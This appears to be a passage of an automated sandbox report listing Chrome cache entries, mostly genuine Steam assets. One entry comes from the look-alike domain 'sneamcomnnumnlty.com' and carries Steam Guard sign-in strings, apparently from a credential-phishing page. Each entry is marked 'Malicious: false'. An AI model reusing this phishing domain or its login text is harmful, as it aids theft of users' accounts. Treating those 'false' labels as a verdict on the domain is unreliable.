SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	116
Entropy (8bit):	4.977419281330487
Encrypted:	false
SSDEEP:	3:mSr5Bk/ZoS+NGthpd7CsOxdaFgQSL7ig8ow1rY:mSr5G/ZoSy6JBgd1Rij1M
MD5:	D23B785C8E59B3BEC6D36A6197C75CA2
SHA1:	9AF774E11CD068759308DCB9E187E6483704BF42
SHA-256:	F419794F8EBA53793068323697DCD77993E50A6DC10CFD36215B0816F36D9A7C
SHA-512:	EA6416EA926DDB083CD77316195EA31E7A1062979935748353131EC2C749B33C9498D22C60821B23BB993FB88EA0C2C2D4EF59C03481A0A47778FC839C410872
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSHglsAAjmmBodghIFDchGVTYSBQ2RYZVOEgUNNYZUHBIQCQqunbGOAqo0EgUNyEZVNhIXCXqtS0KhB17lEgUNkWGVThIFDTWGVBw=?alt=proto
Preview:	ChsKBw3IRlU2GgAKBw2RYZVOGgAKBw01hlQcGgAKCQoHDchGVTYaAAorCgsNkWGVThoECFYYAgocDTWGVBwaBAhLGAIqDwgKUgsKASEQARj/////Dw==

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14447
Entropy (8bit):	5.021040825168234
Encrypted:	false
SSDEEP:	384:tz/MiNJjJjUIOBc18NTkPODsPWNm2eRuhP3Txcb7/G+lTRBYUX8iWRsbRZCaA:t/POsWDTIn8s2
MD5:	5EC80E0EA50E955C3D7193FA098AB013
SHA1:	C4D1182F4933DDA515896B1F71C010617B3C509F
SHA-256:	0FBB541D7D9CB3D5428CF496BDA26B8D9CDB012E184933FE0589BE3795F1AE6C
SHA-512:	6B01DDF2F0FFAD9C0F52027D1ACECCC5D5D53669C0E7A1DD8FD3E0A351919CCA859BDE1AFCA5F1FF0C48597F17910316316FB2A269120D38D409A5716BC2CDEA
Malicious:	false
Reputation:	low
Preview:	..var g_recaptchaInstance = null;....function DisplayPage( page )..{....$('error_display').innerHTML = '';....$('error_display').style.display = 'none';.......switch ( page )....{.....case 'code':......$('wallet_code_form').style.display = '';......$('redeem_wallet_code_upsell_text').style.display = '';......$('address_form').style.display = 'none';......$('validate_btn').style.display = '';......$('validate_btn_in_progress').style.display = 'none';........$('wallet_code').value = '';.....break;..........case 'address':......$('address_btn').style.display = '';......$('address_btn_in_progress').style.display = 'none';......$('wallet_code_form').style.display = 'none';......$('redeem_wallet_code_upsell_text').style.display = 'none';......$('main_content').style.backgroundImage = "url('')";......$('address_form').style.display = '';.....break;....}..}....function UpdateStateSelection()..{...try ...{....if ( $('billing_country').value == 'US' )....{.....$('billing_state_text').style.displ

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2665), with CRLF line terminators
Category:	dropped
Size (bytes):	153622
Entropy (8bit):	5.336731737520302
Encrypted:	false
SSDEEP:	1536:D1l9AT60MhmzFh0x25lqnasPdVcTziMayN3qxViIomEFANufsf1e66kQuOEmTMzB:Xg0x25wa6dVc39qVijoe6rUEJB
MD5:	439B6DF9DF2BD182EE3354CEB7728F2A
SHA1:	D54D45014D7282CB0E45A69C0C15430444095F86
SHA-256:	66E344142D1A04F10A33E847A59939A9E71D558897ECAFAB050D5CAF72BD1CB2
SHA-512:	094FF0791D454EEEA65AC399906EBBE5D44A8D1B8D94501BAA0D55DC662841E9AF340E1B852031982E0D4634068B3E4261C617108B142B91250C5C010EE411EA
Malicious:	false
Reputation:	low
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3866), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	13403
Entropy (8bit):	5.915287626191495
Encrypted:	false
SSDEEP:	384:BjCJNHN6d3/j7SV7HJpeRhnXB065WTrps:BjA6dKV7pkRhnXB06crq
MD5:	6ACA988E27448BE9A66A780FD5403704
SHA1:	AB31336DD5AA9B6FFFF7EEDFBAE81F2B0A39056C
SHA-256:	7D6A54DA422438EA11BA4C42A289B9DF041F051F2964CEB8754E1A201DF0F220
SHA-512:	767010F5594D788BC4FE64F234A52BAAFF136122F37127CE62CA661B1F9804BAF33DA97DFEF0E80747E6E780453D55CE194F15800F4D0D5C37DBB2E0CDC7A6B5
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/store_game_shared.css?v=asqYjidEi-mm
Preview:	.....game_area_description ul {...color: #acb2b8;...margin-left: 16px;...list-style-type: square;..}.....game_area_description ol {...color: #acb2b8;...margin-left: 20px;..}.....game_area_description ul li, .game_area_description ol li {...margin-bottom: 8px;..}.....sysreq_contents {...margin-top: 10px;..}.....game_area_sys_req,...album_metadata_chunk_contents {...font-size: 12px;.....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; /* normal */......}...game_area_sys_req_full p {...margin-bottom: 10px;..}.....game_area_sys_req strong,...album_metadata_chunk_name {.. font-family: Arial, Helvetica, sans-serif;...font-weight: normal;...font-size: 10px;...color: #bcc6cd;...text-transform: uppercase;...display: inline-block;...margin-right: 4px;..}.....album_metadata_chunk_name {...padding-right: 14px;..}.....game_area_sys_req ul {...list-style-type: none;...margin-left: 0px;...line-height: 18px;..}.....game_area_sys_req ul li {...margin: 2px 0px;..}...game_area_sys_req u

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3412
Entropy (8bit):	7.894932754388399
Encrypted:	false
SSDEEP:	48:DVocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODx3OV8GFT:JZ/I09Da01l+gmkyTt6Hk8nTx+VJB
MD5:	59722F8B05D32484FBD8853CBF7859F2
SHA1:	8C9A1B988324BB779BF273DCFB62E993103757CA
SHA-256:	FCBB90319848B9823C6829ED4ABBA0720F06674AE7E7FF762ABE3B905DD3E24E
SHA-512:	A995853C47F43E3FC1291D6E2E1846B34A629D07D6189F33F79DF84A9E381DB87536A7B7AD183F123B30AF9FC19BDDB5367B987741D0CA3F1DF86B849FF1A7AC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............W.+7....pHYs...t...t..f.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/header/btn_header_installsteam_download.png?v=1
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	4.1162646156680225
Encrypted:	false
SSDEEP:	3:YHr0I1W/Aw:Y4I1W/Aw
MD5:	7D8E35AFA8792B923F4E6C5906E7C4B5
SHA1:	32168FBCD8A98B424F566046D3680648B49AC633
SHA-256:	D5C8F5FB29CA010EC4C6E11774D17B0CC27B21304811521E29141F581C061E87
SHA-512:	6C77E16CC85801E0D6732876B7A1B59F48CD19FE5FFBCF081C6EC96D496BE48421A92A4C0258AED151B922515B48553069B7188107B62AD0AB80B421B8D7CBB3
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/dynamicstore/saledata/?cc=US
Preview:	{"bAllowAppImpressions":true}

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansBold4.015;Plau;MotivaSan
Category:	downloaded
Size (bytes):	123884
Entropy (8bit):	6.07029634687136
Encrypted:	false
SSDEEP:	1536:M+s43BGZsrolB21EJ4q+GIbdSW7VvCtQXjPM3mz1yxvjWRVIoFMe1V13836GKCnY:T1GZXlB2SUbxVv/zM3mZyxLUZGrSDfj9
MD5:	6168553BEF8C73BA623D6FE16B25E3E9
SHA1:	4A31273B6F37F1F39B855EDD0B764EC1B7B051E0
SHA-256:	D5692B785E18340807D75F1A969595BC8B1C408FB6FD63947775705E6D6BAA66
SHA-512:	0246CEE85A88068CA348694D38E63D46C753B03AFADF8BE76ECA18D21E3DE77B495215ED2384D62658A391104F9E00DF8605EDB77339366DF332C75691928EFB
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Bold.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOSD.`>...l..u.GSUB.d....wT....OS/2vb.........`cmap.d.....X....cvt Hg.....,....fpgm.6!.........gasp.......$....glyf..........Xhead...a...@...6hhea.......x...$hmtx.NL.........loca{.:.........maxp.......,... name.s.U...L...Kpost............prep...........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9318
Entropy (8bit):	5.299236226685305
Encrypted:	false
SSDEEP:	192:3mqlY8tyyVg9ynE4QzJ/kZYrzh9xdyYRfeB+R2ZavAAL7WDu:3VoQw7/6ueBzwvAALD
MD5:	B23A2EA37FB7DC6A317180ACB9640BBA
SHA1:	559826C6B73A59BCCF54F9034D7E8C43D03C091A
SHA-256:	23D2A8FBAA5A5F1F551B5D70440ADEE80FD519B52B3D6559CBBEA35296679E2F
SHA-512:	E946116847558894E42E26E6702B600531E85CD0DA91076E8AF2FB3FECE913F5FF4E8AA8744D2D43AFA58AB2A0289954726434946E158FC840C150F2A079F109
Malicious:	false
Reputation:	low
Preview:	..var g_ActiveDropLists = {};..var g_LastSelectHideTime = 0;..var g_fnGPOnClosingModalWindow = null;....$J(function() {...$J(document).on( 'keydown', HandleKeyDown );..});....function HandleMouseClick( e, key )..{.....if ( !g_ActiveDropLists[key] )....return;.....var $Trigger = $J('#'+key+'_trigger');...var $Droplist = $J('#'+key+'_droplist');.....var $Target = $J( e.target);...if ( //$Trigger.is( e.target ) \|\| $J.contains( $Trigger[0], e.target ) \|\|....$Droplist.is( e.target ) \|\| $J.contains( $Droplist[0], e.target ) )....return;......DSelectHide( key );..}....var TYPEAHEAD_TIMEOUT_MS = 750;..var g_timeLastCharEvent = 0;..var g_strTypeahead = '';....function HandleKeyDown( e )..{...var bSwallowEvent = false;...var keynum = e.which;.....if ( e.altKey \|\| e.ctrlKey )...{....// bail out now so the browser can do it's thing....return;...}.....var bCharEvent = false;...switch ( keynum )...{......case 40: ..case 38: ..case 13: ..case 9: ..case 34: ..case 33: ..case 36: ..case 35: ..case 27:

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	25021
Entropy (8bit):	5.432008045697921
Encrypted:	false
SSDEEP:	384:aUXvnJo2Facv5Wc4gOVMXBGdJTZ1CFN6ex6K2UD3mt4lRyOb74jCWqGil/wSwf0m:aU/nq2Fd4gC6WqGil/wS20m
MD5:	1F10C8901E451C0A179FEC8F29288CAC
SHA1:	539CAF472E65DDD35960ED129791DAB0586DA854
SHA-256:	73E516FF6298C9F13E8FB1C21E62BAC77DD23FC679594EADD982D8C4A94173F8
SHA-512:	D9EA7A3494C414FCFB8937DAFC70FCF8829FD5AC00E700C673C98A766089BA38D7F6A45921F2A5E116E70C13BCE74227C8E5318C162AE8A7DCC7F8744065BF11
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/shared_responsive_adapter.js?v=HxDIkB5FHAoX
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (7717)
Category:	downloaded
Size (bytes):	7804
Entropy (8bit):	5.075534803725203
Encrypted:	false
SSDEEP:	192:ynPvanFGnHTl6It7+0Kb3ITOqN7lzsh0m3ftn:ynPiwHTlfV+0Kb3ITbN7lzsh0m31n
MD5:	7051B8038C5E00B3FC369D24CCA79D20
SHA1:	9B2498A477D25D6D6C6BDA01E5DD413446544A2E
SHA-256:	F2D659091B152890E05262CF498454D3D0365D736D5BF4EABEFFCAFD4B87D386
SHA-512:	F21341C978E0B374055C53A3596CA17FF996E1027081910FD151A6B2965D99CE105A0F5F39C5FCEFF42440AC7B13CEA8CDFF3F35272176C7F208ED47445013DB
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/en-hdy-RcQs.js
Preview:	const e="Your session expired",n="Incorrect code, please try again",o="A server error occurred",i="There was an error communicating with the network. Please try again later.",t="Steam Guard",a="Account: %1$s",s="You have a mobile authenticator protecting this account.",_="Enter the code from your Steam Mobile App",r="Help, I no longer have access to my Steam Mobile App",c="Enter a code instead",g="You have an email authenticator protecting this account.",l="Enter the code from your email address at: %1$s",u="Help, I no longer have access to the email address for this account",m="Close",h="Loading Account",d="Please check your password and account name and try again.",p="Sign in",L="Sign in with account name",E="Password",f="Help, I can't sign in",w="Or sign in with QR",S=".... (Simplified Chinese)",v=".... (Traditional Chinese)",k="... (Japanese)",A="... (Korean)",b="... (Thai)",I="......... (Bulgarian)",C=".e.tina (Czech)",R="Dansk (Danish)

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	9318
Entropy (8bit):	5.299236226685305
Encrypted:	false
SSDEEP:	192:3mqlY8tyyVg9ynE4QzJ/kZYrzh9xdyYRfeB+R2ZavAAL7WDu:3VoQw7/6ueBzwvAALD
MD5:	B23A2EA37FB7DC6A317180ACB9640BBA
SHA1:	559826C6B73A59BCCF54F9034D7E8C43D03C091A
SHA-256:	23D2A8FBAA5A5F1F551B5D70440ADEE80FD519B52B3D6559CBBEA35296679E2F
SHA-512:	E946116847558894E42E26E6702B600531E85CD0DA91076E8AF2FB3FECE913F5FF4E8AA8744D2D43AFA58AB2A0289954726434946E158FC840C150F2A079F109
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/dselect.js?v=sjouo3-33Gox&l=english
Preview:	..var g_ActiveDropLists = {};..var g_LastSelectHideTime = 0;..var g_fnGPOnClosingModalWindow = null;....$J(function() {...$J(document).on( 'keydown', HandleKeyDown );..});....function HandleMouseClick( e, key )..{.....if ( !g_ActiveDropLists[key] )....return;.....var $Trigger = $J('#'+key+'_trigger');...var $Droplist = $J('#'+key+'_droplist');.....var $Target = $J( e.target);...if ( //$Trigger.is( e.target ) \|\| $J.contains( $Trigger[0], e.target ) \|\|....$Droplist.is( e.target ) \|\| $J.contains( $Droplist[0], e.target ) )....return;......DSelectHide( key );..}....var TYPEAHEAD_TIMEOUT_MS = 750;..var g_timeLastCharEvent = 0;..var g_strTypeahead = '';....function HandleKeyDown( e )..{...var bSwallowEvent = false;...var keynum = e.which;.....if ( e.altKey \|\| e.ctrlKey )...{....// bail out now so the browser can do it's thing....return;...}.....var bCharEvent = false;...switch ( keynum )...{......case 40: ..case 38: ..case 13: ..case 9: ..case 34: ..case 33: ..case 36: ..case 35: ..case 27:

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	807
Entropy (8bit):	0.4261982118465057
Encrypted:	false
SSDEEP:	3:CUlFE/xlzeze:zFEGze
MD5:	39BC952559E5A8F4E84BA035FB2F7390
SHA1:	4F415467396B4A50149373CA75BCB4C04C2F60B6
SHA-256:	8F73EF54EFC672061F69CA881FE318DCCC6DD67D993CBB8E76E53E52C84EE493
SHA-512:	C7E107E803941A965A173EC8DC7DDFB052C042AB0070E92E5FF47D0E02ECB38446BDC13BBF201D68B2F5696AFBEEA1AF494A65EED4B086EF368CF147892E4409
Malicious:	false
Reputation:	low
Preview:	GIF89a.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.......,................;

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (945)
Category:	dropped
Size (bytes):	131882
Entropy (8bit):	5.376896897488642
Encrypted:	false
SSDEEP:	1536:XtTqru1xouE1ZTnPrMiY6WRdA2qZpXnBnK3xsVdFE7zptEvp62kdS6F:JmuWl7ndK3xsVdKEd56F
MD5:	64141792105EA4861F9F33294D65AB81
SHA1:	506D9100CAA070005A890BD496DE64C437D6D008
SHA-256:	21758ED084CD0E37E735722EE4F3957EA960628A29DFA6C3CE1A1D47A2D6E4F7
SHA-512:	30E0A9AA84688AC093C09F2F41089C899BF4A9CA5138289D7A4DC64C54BA293936FB2EE6BA724894A09590509863EA7712B6055C28E61639DF4D34520B538759
Malicious:	false
Reputation:	low
Preview:	/*. @license React. * react-dom.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. /.(function(){/. Modernizr 3.0.0pre (Custom Build) \| MIT.*/.'use strict';(function(Q,mb){"object"===typeof exports&&"undefined"!==typeof module?mb(exports,require("react")):"function"===typeof define&&define.amd?define(["exports","react"],mb):(Q=Q\|\|self,mb(Q.ReactDOM={},Q.React))})(this,function(Q,mb){function n(a){for(var b="https://reactjs.org/docs/error-decoder.html?invariant="+a,c=1;c<arguments.length;c++)b+="&args[]="+encodeURIComponent(arguments[c]);return"Minified React error #"+a+"; visit "+b+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}.function nb(a,b){Ab(a,b);Ab(a+"Capture",b)}function Ab(a,b){$b[a]=b;for(a=0;a<b.length;a++)cg.add(b[a])}function cj(a){if(Zd.call(dg,a))retu

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (7717)
Category:	dropped
